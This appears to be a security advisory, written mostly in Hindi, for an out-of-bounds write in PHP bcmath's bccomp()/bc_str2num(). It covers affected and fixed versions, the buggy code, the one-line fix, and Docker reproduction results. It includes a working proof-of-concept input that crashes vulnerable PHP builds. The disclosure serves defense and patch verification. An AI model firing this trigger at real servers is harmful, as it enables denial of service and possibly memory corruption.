
CVE-2026-17544 — PHP bcmath bccomp() OOB लेखन (स्टैक स्मैशिंग)। सत्यापित: 8.4.23/8.5.8 पर क्रैश, 8.4.24 में ठीक हुआ। GHSA-x692-q9x7-8c3f
bccomp() आउट-ऑफ-बाउंड लेखन (स्टैक स्मैशिंग)CVSS 9.8 (गंभीर) · CWE-787 · GHSA-x692-q9x7-8c3f
ext/bcmath/libbcmath/src/str2num.c (वेंडर किया गया libbcmath, PHP 8.4+) में स्थित bc_str2num() में एक off-by-N आउट-ऑफ-बाउंड लेखन शामिल है। जब उपयोगकर्ता द्वारा आपूर्ति किया गया scale, ऑपरेंड के स्वचालित स्केल से छोटा होता है, तो भिन्नांश छोटा कर दिया जाता है और फिर एक अंतिम-शून्य ट्रिम fractional_end को अद्यतन किए बिना चलता है। बफ़र ट्रिम किए गए (छोटे) आकार के लिए आवंटित किया जाता है, लेकिन कॉपी बिना-ट्रिम लंबाई का उपयोग करती है → हीप/स्टैक बफ़र ओवरफ़्लो।
प्रभावित: PHP 8.4.* < 8.4.24, 8.5.* < 8.5.9
सुधार: PHP 8.4.24 / 8.5.9 (2026-07-30), commit fa18dab73f93 / ce2ec8a70755
रिपोर्टकर्ता श्रेय: Recep Asan (recepasan)
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end; // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale) // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end) // copies UNTRIMMED length
एक-पंक्ति सुधार (fractional_end = fractional_new_end;) के साथ रिग्रेशन टेस्ट ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt को 8.4.24/8.5.9 में मर्ज किया गया।
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
2026-08-12 को Raspberry Pi 5 (arm64) पर Docker के माध्यम से सत्यापित किया गया।
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)
# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0
bccomp() को हमलावर-नियंत्रित ऑपरेंड/स्केल भेजती है, उसे नियतात्मक रूप से क्रैश किया जा सकता है (8.4/8.5, स्टैक-प्रोटेक्टर बिल्ड एबॉर्ट हो जाते हैं; गैर-संरक्षित बिल्ड सहेजे गए रजिस्टर/रिटर्न एड्रेस को दूषित करते हैं)।fa18dab73f93 · सुधार 8.5: ce2ec8a70755| बिल्ड | परिणाम |
|---|
PHP 8.4.23 (असुरक्षित, Docker php:8.4.23-cli + bcmath) | 💥 *** stack smashing detected ***, exit 133 (SIGABRT) |
| PHP 8.5.8 (असुरक्षित) | 💥 वही — नियतात्मक एबॉर्ट |
PHP 8.4.24 (पैच किया गया, php:8.4.24-cli) | ✅ int(1), exit 0 |